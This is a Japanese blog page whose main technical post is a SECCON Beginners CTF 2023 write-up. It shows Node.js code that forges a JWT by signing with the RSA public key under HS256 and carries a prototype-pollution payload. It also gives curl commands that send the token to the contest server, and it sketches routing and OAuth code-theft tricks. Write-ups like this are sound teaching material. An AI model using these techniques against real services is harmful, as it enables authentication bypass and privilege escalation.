天才クールスレンダー美少女になりたい

チラシの表(なぜなら私はチラシの表にも印刷の上からメモを書くため)

原稿中に「フィクサー」を聴いてはならない

あるとき、私は期限を大幅に超過してヤバい原稿に苦しんでおりました。本当に全然書けない。全く書けない。苦しい。


それはそれとして、わたくし最近プロセカにドハマリしておりまして。そのおかげでボカロ熱が5年ぶりくらいに爆発してたんですよ。プロセカに収録されてる曲を入口にいろんな曲を聴いたりしてまして、作業用BGMにもひたすらボカロをヘビロテしております。5年前は作業用BGMという概念がなかったし、そのせいで今までひたすらエロゲソングばかりリピートしていたので、ボカロという選択肢が生まれて結構嬉しいですね。

だいたいどの曲も好きなんですけど、強いて言うならピノキオピーさんとぬゆりさんが好きです。ピノキオピーさんは主として歌詞に、ぬゆりさんは主として曲にハマってる感覚があります。もちろん全部好きですが。

w.atwiki.jp

w.atwiki.jp

ぬゆりさんの曲はまだプロセカに入っているやつしか聴けてないのですが、特に「ロウワー」が好きです。ニーゴ……という気持ちになりますね。カバー曲だとプロセカの文脈を乗せて賞賛するのに若干躊躇しちゃうけど、書き下ろし曲は怒られる筋合いがないので言い切っちゃう。


そういうわけで、ぬゆり「フィクサー」を聴きながら原稿を書いていたんですよ。

w.atwiki.jp


www.youtube.com

この曲のサビにこういう歌詞があります。


落とせ 落とせ

なんちゅうことを言うんや。

原稿落としたくないから必死に書いてるんやけど。



この気付きに爆笑し、ふと他の歌詞もちゃんと読んでみたら追い討ちをかけられました。

あしたから生きていく自分の身代わりが欲しくて堪らない

マジで誰か自分の代わりに書いてくれません?

出来ない約束を

安請け合いしてごめんなさい……

とうとうと溢れる一言一言ばかりに脳を奪われるくらい

一言一言は浮かぶけど文章の形に全然まとまらないんです、助けてください……

意味を成せない 何も出来ない

うー うー

見えない 逃げたい 飛びたい やめたい 逸らせない

アアアアアアアアアアアア

飽きるまで
落とせ
落とせ

……












追伸:書いていた原稿は一応完成させました。これで残る期日ヤバ原稿は1つだけ。それも終われば残るのは冬コミ原稿1つと卒論だけ。
……思ったより多くない?

私がMacBook Airを使い続ける理由について

私がMacBook Airを使い始めてから、もう8年半近くが経つ。今使っているのは2代目で、1年前の4月に買い替えた。つまり初代は7年間も使った計算だ。同じパソコンをこんなに長く使い倒した人間はそう多くないと思う。

4年目くらいでヒンジが壊れてディスプレイが180度開くようになったし、バッテリーは完全に寿命が来てたし、買い替え7ヶ月前に(おそらくハードではなくドライバあたりの問題で)数字が打てなくなってKarabiner-Elementsで応急処置をした。まあ応急処置と言いながら7ヶ月使い続けたのだが*1
最後の1ヶ月はDのキーが押せなくなり、コピペで凌いだ。ログインパスワードにdが含まれていたせいでログインできず危うく10万円の文鎮と化すところだったのも、今となっては笑い話だ。もちろん外付けのキーボードを使えばいいのだが、壊れた時点で実家にいて手元にキーボードがなかった。ちょうど帰省から戻るタイミングだったのが不幸中の幸いで、自宅に直帰してREALFORCEを差しログインパスワードを変更した記憶がある。

ファンクションキーを数字キーとして使うマジのバカ設定

そんなわけで、いろいろ限界すぎたので去年の4月にパソコンを買い替えたのだが、次のノートパソコンを何にするかが問題だった。私は別にApple信者じゃない。スマホはAndroidだし、iOSアプリも開発しないし、Macに固執する心理的理由は一切ない……はずだ。だからMac以外の選択肢も検討したのだが、結局またMacBook Airにした。

*1:こういうことしてるから給湯器の不調を3年半放置するんだぞ、お前……

続きを読む

【全文公開】那由多誰何の倫理学入門 【まちカドまぞく評論合同】

2022年の夏コミで頒布された合同誌『まちカドまぞく評論合同 まちカドのお楽しみ』に寄稿した謎の論考です。まちカドまぞくを倫理学の切り口から論じています。

まだ在庫があるそうなので、よろしければぜひ。他の記事も面白いですよ。

be-straighter.booth.pm

今になって読むと怪しい記述がちらほら見られるのですが、最低限としてケアの倫理関連の記述を若干修正し公開することにしました。たぶんまだまだダメな記述は残ってると思うんですが……詳しい本をちゃんと読む気力がない……というか文章も全体的に手直ししたい……面倒だからそのまんま放出するけど……


ところで、秋の文フリに向けてまぞく評論を書かないといけないんですよね。何もネタ思いつかない。ヤバい。どうしよう。













※この記事には、まちカドまぞく6巻の核心的なネタバレが含まれています

続きを読む

【五月祭】TSG LIVE! 10 ライブCTF 作問者writeupその他

さる5月13日・14日に東京大学の学園祭である五月祭が開催されました。

www.youtube.com

音声がいろいろ聞こえづらくて申し訳ないのですが、アーカイブもあります。

どうして私が作問で!?

ここ数年のライブCTFではwebの作問をhakatashiさんが担当していたのですが、今回は忙しく作問できないという申し出がありました。そもそもhakatashiさんは卒業生ですからね、学祭であまり頼るのも良くないわけですよ。

……え、webの作問者いなくね? 誰がやるの?

そう思っていたところ、なんか役目が私のところに回ってきました。えっ私そんなCTFできないですけど、いいんですか? というかwebのプレイヤーいない気がしますけど大丈夫です?
(結論から言えば、後からbitmathさんが追加で参加することになったので大丈夫でした)

yuyusuki.hatenablog.com

まあ、こないだの部内イベントで作問したので、一応作問経験者ではあります。しかし、TSGのライブCTFといえば短時間勝負にふさわしい良問が出るという評判があります(ふぁぼん調べ)。これ私がゴミ問題出したらボッコボコに叩かれるのでは?


そう思って過去の問題を眺めたところ、webは瞬殺問題しか出ていない回もあったので、これなら許されるか〜と開き直ることにしました。最悪マジで思いつかなかったら思考停止SQLインジェクションでも出そう。

もっと適任の人がいるなら全面的に任せたのですが、いないなら仕方ありません。腹をくくります。


完成した問題

github.com

問題とソルバは上のリポジトリを参照してください。webはprofile viewerの1問しかなくて本当に申し訳ないのですが……

web問(profile viewer)の配布ファイルはこちらです。

github.com


以下、ネタバレゾーン。

続きを読む

SECCON Beginners CTF 2023 writeup

SECCON Beginners CTF 2023にチームTSGとして出ました。miscの3問(drmsaw、polyglot4b2、treasure)を残してしまいましたが、3107点で4位でした。

ちなみに私は何もしませんでした。無です。

各問題writeup

double check

const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
  res.send(`Congratulations! Here"s your flag: ${FLAG}`);
  return;
}

なるほど、verified{"__proto__":{"admin":true}}を入れたら勝てるprototype pollutionパターンね。うんうん。実はこないだのTSG LIVE! CTFの作問をするときprototype pollutionの手法についてかなり調べたので。作問って解く側の経験値も入るんだなあ。

で、jwtどうやって倒すの?

ここで1時間弱詰まる。「jwt改竄無理では?」と言っていたら、先に解けてたチームの人(id:pizzacat83)から「sign/verifyの処理をちゃんと読んでみろ」というヒントをもらう。そして、よく見てみると……

verified = jwt.verify(
  req.header("Authorization"),
  readKeyFromFile("keys/public.key"), 
  { algorithms: ["RS256", "HS256"] }
);

ソースコードの中で燦然と輝くHS256。そ、そんなことが……www なんで気付かなかった。

qiita.com

というわけで、配布ファイルに含まれていた「公開鍵」を使ってHS256でsignして投げると解ける。 最新のjsonwebtoken@9.0.0では対策が入って、HS256でRSAの公開鍵などを指定していると設定がおかしいとエラーになる(明らかに正しくない設定だから当然)。実際の問題で使われている8.5.2を使うこと。

const jwt = require('jsonwebtoken')
const fs = require('fs')
const key = fs.readFileSync('./app/keys/public.key')
const signed = jwt.sign(`{"__proto__":{"admin":true}}`, key, { algorithm: 'HS256' })
console.log(signed)
// eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM

// test
console.log(Object.assign({}, jwt.verify(signed, key, {algorithms: ['HS256']})).admin) // true

よし、投げるか。

curl 'https://double-check.beginners.seccon.games/register' -X POST -H 'Content-Type: application/json' -d '{"username":"fabon","password":"hoge"}' -H "Cookie: $COOKIE"

curl 'https://double-check.beginners.seccon.games/flag' -X POST -H "Cookie: $COOKIE" -H 'Authorization: eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM'

Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

勝ち。prototype pollutionって怖いね。なお既に解いてる人がいたのでこれはチームへの貢献に含みません。

Forbidden

beginnerって書いてるし、もうチームメイトが解いてるし、その人も「やるだけ」って言ってたし、軽い気持ちで見た。

……解けない。さすがにCTF引退です。

(expressのルータがcase insentiveだったというオチ。なぜ思いつかなかった、なぜ実装を調べようとしなかった? マジでCTF引退します)

oooauth

なんも分からん。

callbackページにHTML injection可能だったので「Referer経由でcodeを盗めるのでは? 」と言ってみたところ、pizzacat氏が残りの部分(codeを消費させないようにするパート)を全部解いてくれました。強すぎる。勝てません。「協力して」というのもちょっとおこがましいレベル。私より先に問題見てたpizzacat氏が問題の整理とかもやってくれていたので、私の本質的貢献は限りなく0に近い。はい。

pizzacat83.hatenablog.com

↓こちらは作問者writeup

melonattacker.github.io

初めはCSS injectionとかiframeでゴニョゴニョとかそういうのを先に考えてたんですが、無理そうでした。

drmsaw

起きたらあと30分で、残っているmiscのうち手が出せそうなやつに取りかかった。しかしHLSへの理解が足りず、yt-dlpffmpegでいろいろ頑張ったもののタイムアップ。暗号鍵は開発者ツールのネットワークタブでキャッチできた(はずな)のであとはやるだけと思ったんだけど……全然やれなかった……

感想

CTFマジでなんもできん。号泣。

いや、ガチ初心者はさすがに脱出してると思うんですけど、実感がない。プレイヤーとしてちゃんと成長できてるんだろうか……

部内イベント用CTFの作問をした話

私が所属するコンピュータ系サークルのTSGで、「TSG十種競技」というイベントが開催されました。

10の競技の総合成績でTSGの王を決める本イベント、私はCTF(web)の作問を担当しました。

続きを読む